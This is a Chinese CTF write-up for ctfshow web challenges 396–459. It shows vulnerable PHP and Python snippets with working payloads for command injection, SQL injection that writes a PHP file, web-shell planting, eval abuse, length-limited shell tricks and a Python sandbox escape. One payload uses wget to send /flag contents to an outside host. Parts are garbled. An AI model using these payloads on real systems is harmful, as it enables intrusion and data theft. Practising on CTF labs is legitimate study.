仅作记录,从这里开始是因为这些题传get参数就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
[scheme] => http
[host] => hostname
[user] => username
[pass] => password
[path] => /path
[query] => arg=value
[fragment] => anchor
)

web396

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:20:22
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
highlight_file(__FILE__);
}

传入参数url,解析之,会将host的内容echo入path中。

payload:?url=1://ls/var/www/html/1.txt

?url=1://cat%20fl0g.php/var/www/html/1.txt

web397

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 17:49:13
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
highlight_file(__FILE__);
}

同上,只是会提前规定写入文件为/tmp之下的某个文件夹,这样就算写入也不能直接访问

网上的解法是:

payload:

?url=1://cat%20fl0g.php/../var/www/html/1.txt

或者丰号闭合

?url=1://cat%20fl0g.php/var/www/html/1.txt;echo cat fl0g.php>a.txt

web398

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:00:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

对host参数过滤丰号。但是不过滤path?

web399

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:04:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>/', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

多过滤了host的;和>

不影响

web400

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:13:14
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!preg_match('/;|>|http|https/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

过滤了http,还是不影响

web401

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:16:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(!preg_match('/;|>|http|https|\|/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

/i不区分大小写,还是没影响

web402

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:35:41
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


#error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
var_dump($url);
if(preg_match('/http|https/i', $url['scheme'])){
die('error');
}
if(!preg_match('/;|>|\||base/i', $url['host'])){
shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
}

}else{
highlight_file(__FILE__);
}

对scheme加过滤,没影响

web403

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:44:06
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/', $url['host'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}else{
highlight_file(__FILE__);
}

^$:表示字符串的开始和结束。这意味着整个字符串必须完全匹配正则表达式。

((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}

2[0-4]\d:匹配200到249的数字。2开头,接一个0到4的数字,再接一个任意数字(0-9)。

25[0-5]:匹配250到255的数字。25开头,接一个0到5的数字。

[01]?\d\d?:匹配0到199的数字。[01]?表示可选的0或1,接一个或两个数字。

\.:匹配一个点号.

((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}:重复前三组数字和点号三次。这表示IPv4地址的前三个段。

(2[0-4]\d|25[0-5]|[01]?\d\d?):最后一个段,匹配范围和前三个段一样。

总结,这个正则表达式匹配格式为xxx.xxx.xxx.xxx的IPv4地址,其中每个段都是0到255之间的数字

那就把url换成ipv4

?url=http://1.1.1.1/1;echo cat fl0g.php>a.txt

web404

不知道为啥404的容器起不来

web405

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 19:20:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
if(preg_match('/\~|\.|php/', $url['scheme'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}

}
}

}else{
highlight_file(__FILE__);
echo 'parse_url 好强大';
}

使用正则表达式检查URL的主机名是否是一个有效的IPv4地址。这个正则表达式匹配0-255之间的四个数字,用点分隔。使用正则表达式检查URL的路径是否是以斜杠开头,并且只包含字母和数字。使用正则表达式检查URL的方案是否包含 ~.php。如果前面的所有验证都通过了,则使用 shell_exec() 函数执行一个 curl 命令,构建完整的URL(方案+主机名+路径)来请求该URL。

?url=php://1.1.1.1/l1;echo%20fl0g>.php>a.txt

这个思路用不了了,因为path参数不能通过

所以把注入点放在host上。

url=php://1.1.1.1;echo%20cat%20fl0g.php>a.txt;/1a

web404

好吧原来是彩蛋,注释提示要访问404.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-15 16:38:07
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-15 18:51:39
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./', $url['host'])){
if(preg_match('/^\/[A-Za-z0-9]+$/', $url['path'])){
shell_exec('curl '.$url['scheme'].$url['host'].$url['path']);
}
}

}else{
highlight_file(__FILE__);
}

同405

web406

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-16 14:58:50
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-16 16:00:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

require 'config.php';//包含一个名为 config.php 的文件,这个文件可能包含数据库连接信息或其他必要的配置。
//flag in db
highlight_file(__FILE__);
$url=$_GET['url'];
if(filter_var ($url,FILTER_VALIDATE_URL)){//获取通过GET请求传递的 url 参数,并使用 filter_var() 函数对其进行验证。FILTER_VALIDATE_URL 是一个验证过滤器,用于检查 url 是否是一个有效的URL。
$sql = "select * from links where url ='{$url}'";
$result = $conn->query($sql);//如果 url 是一个有效的URL,则构造一个SQL查询,查询 links 表中与该URL匹配的记录,并执行查询。假设 $conn 是从 config.php 文件中获取的数据库连接对象。
}else{
echo '不通过';
}

?url=http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23

查询变为:select * from links where url =’http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23'

但好像不行,要这样:

url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23

其中的编码为:

1
<?php require 'config.php'; $sql ='select flag from flag into outfile "/var/www/html/1.txt"; $result = $conn->query($sql); var_dump($result); ?>
1
2
3
4
select * from links where url = '0://www.baidu.com;'
union
select 1, 0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e
into outfile "/var/www/html/4.php"#

web407

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

?>"@123.php 这个错误

email="<?=system($_GET[1])?>"@1.php 这个通过 [EMAIL_FILTER]([php代码审计危险函数总结 | Wh0ale's Blog](https://wh0ale.github.io/2019/08/21/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0%E6%80%BB%E7%BB%93/))

# web409

```php
highlight_file(__FILE__);
error_reporting(0);
$email=$_GET['email'];
if(filter_var ($email,FILTER_VALIDATE_EMAIL)){
$email=preg_replace('/.flag/', '', $email);
eval($email);
}

他把双引号前看做一个php脚本 前面的“也非法 .flag会将flag前的一个字符也一起替换为空格 ?>闭合,

问题:

    ?email=”flagls;?>”@12222.qq

?email=”flagsystem($_GET[1]);?>”@12222.qq&1=cat%20/flag

web410

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}

这段代码的目的是检查GET请求中的b参数是否是一个非真布尔值,如果是,就输出$flag变量的值。如果b参数是真布尔值,脚本会输出FLAG NOT HERE并终止执行。

if(filter_var ($b,FILTER_VALIDATE_BOOLEAN可能的返回值:

  • 如果是 “1”, “true”, “on” 以及 “yes”,则返回 true。
  • 如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。
  • 否则返回 NULL。

web411

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
include('flag.php');
$b=$_GET['b'];
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN)){
if($b=='true' || intval($b)>0 ||$b=='on' || $b=='ON'){
die('FLAG NOT HERE');
}else{
echo $flag;
}
}

过滤了on

web412

1
2
3
4
5
6
7
8
highlight_file(__FILE__);

$ctfshow=$_POST['ctfshow'];

if(isset($ctfshow)){
file_put_contents('flag.php', '//'.$ctfshow,FILE_APPEND);
include('flag.php');
}

使用 file_put_contents 函数将 //$ctfshow 的内容追加写入到 flag.php 文件中。FILE_APPEND 表示追加到文件末尾。

这题考察 file_put_contents 函数,这个中的 FILE_APPEND 防止删除原有文件内容,这里拼接进去的内容会用 // 注释掉,这里使用 %0a 绕过即可

ctfshow=%0ahighlight_file(FILE);

web413

1
2
3
<?php

?>

没做出来

web418

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$key= 0;
$clear='clear.php';
highlight_file(__FILE__);

//获取参数
$ctfshow=$_GET['ctfshow'];
//包含清理脚本
include($clear);


extract($_POST);//这一行代码将所有POST请求中的数据提取为变量,这会导致变量覆盖问题。如果POST数据包含与现有变量同名的键,这些变量的值会被覆盖
if($key===0x36d){
//帮黑阔写好后门,这一部分代码首先检查变量$key是否等于0x36d。如果条件满足,它会执行eval()函数来运行$ctfshow变量中的PHP代码。这是一个非常危险的操作,因为它允许任意代码执行,可能导致严重的安全问题。如果条件不满足,则会检查变量$die,如果$die为真,则输出FLAG_NOT_HERE并终止脚本执行。
eval('<?php '.$ctfshow.'?>');
}else{
$die?die('FLAG_NOT_HERE'):clear($clear);
}

function clear($log){
shell_exec('rm -rf '.$log);
}

key=0x36b&clear=;echo ls > 1.txt&die=0

web419

1
2
3
4
5
6
7
highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 17){
eval($code);
}

post传🐎 get传参

但是没做出来

只能code=echo tac fl*;

web420

1
2
3
4
5
6
7
highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 8){
system($code);
}

code=nl ../*

web421

1
2
3
4
5
6
7
highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 6){
system($code);
}

code=nl f*

web422

一些原始代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask
from flask import request
import os

app = Flask(__name__)
@app.route('/')
def app_index():
code = request.args.get('code')
if code:
return eval(code)
return 'where is flag?<!-- /?code -->'

if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
1
2
3
4
5
6
7
highlight_file(__FILE__);


$code = $_POST['code'];
if(strlen($code) < 5){
system($code);
}

code=nl *


419-422另解

关于419-422,可用别的方法,看这里. 可以依次执行分割后的命令 看这里

15位可控字符下的任意命令执行

如需执行 echo <?php eval($_GET[1]);?>>1

1
2
3
4
5
echo \<?php >1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;?>>1

7位可控字符下的任意命令执行

1>a或者w>b分别可以创建a和b两个空文件夹。

ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。

\作为转义符,转义之后的’'是用来换行分隔,也就是换行也是连接的。

1
2
3
ca\
t
这就代表cat

例如

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

假设我产要写入<?php echo phpinfo();

echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
w>hp
w>1.p\\
w>d\>\\
w>\-\\
w>e64\\
w>bas\\
w>=\|\\
w>w=\\
w>gpO\\
w>mby\\
w>aW5\\
w>Ghw\\
w>Agc\\
w>waH\\
w>PD9\\
w>o\ \\
w>ech\\

ls -t>0

sh 0

倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。

5位可控字符下的任意命令执行

ls -t>0 超过了5位

1
2
3
4
5
6
7
>ls\\
ls>a
>\ \\
>-t\\
>\>0

ls>>a

这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。

4位可控字符下的任意命令执行

ls -th>f 超过了4位

1
2
3
4
5
6
7
8
9
>f\>
>ht-
>sl
>dir
*>v
>rev
*v>0

cat 0

这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。

注意:

`>py\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\产生\,但是php 代码exec时,只需要输入\即可产生\,比如 *exec(“>py\”)*即可。

这上面的所以payload均在linux终端shell里面进行操作,因此需要’'的地方都进行了再加’'转义,也就变成了’\‘,如果在命令注入函数里面输入时,’'不需要用’'转义。

web423

唯一的提示

只能看wp,os.popen用以打开管道。os.popen(command[, mode[, bufsize]])

关于popen方法

1
2
3
4
5
6
command -- 使用的命令。

mode -- 模式权限可以是 'r'(默认) 或 'w'。

bufsize -- 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲(大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;对于其它文件,它是全缓冲。如果没有改参数,使用系统的
--此方法返回连接到管道的打开的文件对象默认值。

示例:

1
2
3
4
5
6
7
# !/usr/bin/python3
import os, sys

# using command mkdir
a = 'mkdir nwdir'
b = os.popen(a,'r',1)
print b

结果:

1
open file 'mkdir nwdir', mode 'r' at 0x81614d0

?code=os.popen(“ls /“).read()

web424-428

?code=open(“/flag”).read()

据说,425过滤了os

426过滤了os|open

427过滤了system

但是过滤有问题

web429-431

过滤了read,但是可以在open前加空格绕过

?code=%20open(“/flag”).read()

web432-web449

开始正常过滤

1
?code=str(''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__['__buil''tins__']['__imp'+'ort__']('o'+'s').__dict__['pop'+'en']('wget http://mc.krkr.xyz:8888/?shell=cat /flag'))

这段代码利用Python的动态特性来执行系统命令,最终目标是通过wget命令从远程服务器获取某些信息。在这种情况下,它试图读取名为/flag的文件的内容,并将其发送到指定的服务器。代码的整体构造非常复杂且难以理解,可能是为了躲避静态代码分析和安全检查。以下是对这段代码的详细分析

1
2
3
4
5
6
''.__class__.__bases__[0] #''是一个空字符串对象。.__class__获取其类,即str。.__bases__[0]获取该类的基类,即object。
.__subclasses__() # object类的所有子类。这里的[185]假设某个特定的子类存在于这个位置。具体哪个子类在185的位置上依赖于具体Python版本和环境。
.__init__.__globals__ #获取特定子类的__init__方法的全局变量字典。
['__buil''tins__'] #拼接字符串得到'__builtins__',从全局变量字典中获取内建模块字典。
['__imp'+'ort__']('o'+'s')#拼接字符串得到'__import__'函数,导入os模块
.__dict__['pop'+'en']('wget http://mc.krkr.xyz:8888/?shell=`cat /flag`')#拼接字符串得到'popen'方法,执行系统命令wget http://mc.krkr.xyz:8888/?shell=\cat /flag`。该命令试图读取文件/flag的内容并通过HTTP请求发送到远程服务器mc.krkr.xyz:8888`。

没出来这个,curl失败。

web450

1
2
3
4
5
6
7
8
9
10
11
12
highlight_file(__FILE__);
$ctfshow=$_GET['ctfshow'];
//执行phpinfo就是胜利

if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
eval("($ctfshow)();"); //以一个或多个小写字母开头 [a-z]+
//然后是一个 ^ 符号 [\^]
//再次是一个或多个小写字母 [a-z]+
//再次是一个 ^ 符号 [\^]
//最后是一个或多个小写字母 [a-z]+
//整个字符串从头到尾匹配 ^...$ 例如,abc^def^ghi 是一个有效的匹配字符串
}

?ctfshow=phpinfo^phpinfo^phpinfo

web451

1
2
3
4
5
6
7
8
$ctfshow=$_GET['ctfshow'];


if(preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/', $ctfshow)){
if(!preg_match('/phpinfo/', $ctfshow)){
eval("($ctfshow)();");
}
}

phpanfo^phpznfo^phprnfo

^异或

  • p ^ p ^ p = 112 = p
  • h ^ h ^ h = 104 = h
  • p ^ p ^ p = 112 = p
  • a ^ z ^ r = 105 = i
  • n ^ n ^ n = 110 = n
  • f ^ f ^ f = 102 = f
  • o ^ o ^ o = 111 = o

web452

1
2
3
4
5
6
$ctfshow=$_GET['ctfshow'];


if(!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i', $ctfshow)){
eval($ctfshow);
}

正则表达式过滤了单引号、双引号、数字、大括号、方括号、波浪线、异或、phpinfo 和美元符号

?ctfshow=echo%20cat%20/flaag;

web453-456

访问提示参数,查看index.php:

1
2
on('start', function ($server) { echo "Swoole http server is started at http://0.0.0.0:80\n"; }); $http->on('request', function ($request, $response) { list($controller, $action) = explode('/', trim($request->server['request_uri'], '/')); $route = array('ctf'); $method = array('show','file','exec'); if(in_array($controller, $route) && in_array($action, $method)){ (new $controller)->$action($request, $response); }else{ $response->end('
'); } }); $http->start(); class ctf{ public function show($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ $response->end(file_get_contents($s)); }else{ $response->end('s not found'); } } public function file($request,$response){ $response->header('Content-Type', 'text/html; charset=utf-8'); $s=$request->post['s']; if(isset($s)){ file_put_contents('shell.php', $s); $response->end('file write done in /var/www/shell.php'); }else{ $response->end('s not found'); } } public function exec($request,$response){ system('php shell.php'); $response->end('command exec done'); } }

也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php

s=

非常奇怪 curl不了,前面的题也是这样

web457

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}

class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}

class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u=='admin';
}
}


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}

为了绕过验证并获取 flag,需要构造特定的 GET 参数,使得 visitor 类的 check 方法返回 false,而 admin 类的 check 方法返回 truevisitor 类的 check 方法要求用户名和密码不能同时是 'admin''admin888'

进入第二个语句即可

?u=admin&p=phpinfo

web458

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
include('flag.php');
abstract class user{
public $username;
public $password;
function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
abstract public function check();
}

class visitor extends user{
public function check(){
return ($this->username!=='admin' && $this->password!=='admin888');
}
}

class admin extends user{
public function check(){
$u= call_user_func($this->password);
return $u==='admin';
}
}


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
if((new visitor($u,$p))->check()){
die('welcome visitor :'.$u);
}
if((new admin($u,$p))->check()){
die('welcome admin :'.$u.' flag is :'.$flag);
}
}
  • visitor 类check 方法会检查用户名和密码是否不等于 'admin''admin888'
  • admin 类check 方法会调用密码字符串作为一个函数,并检查返回值是否等于 'admin'

web459

1
2
3
4
5
6
7
8
9
include('flag.php');


$u=$_GET['u'];
$p=$_GET['p'];

if(isset($u)&&isset($p)){
copy($u, $p.'.php');
}

?u=php://filter/convert.base64-encode/resource=flag.php&p=1 然后访问1.php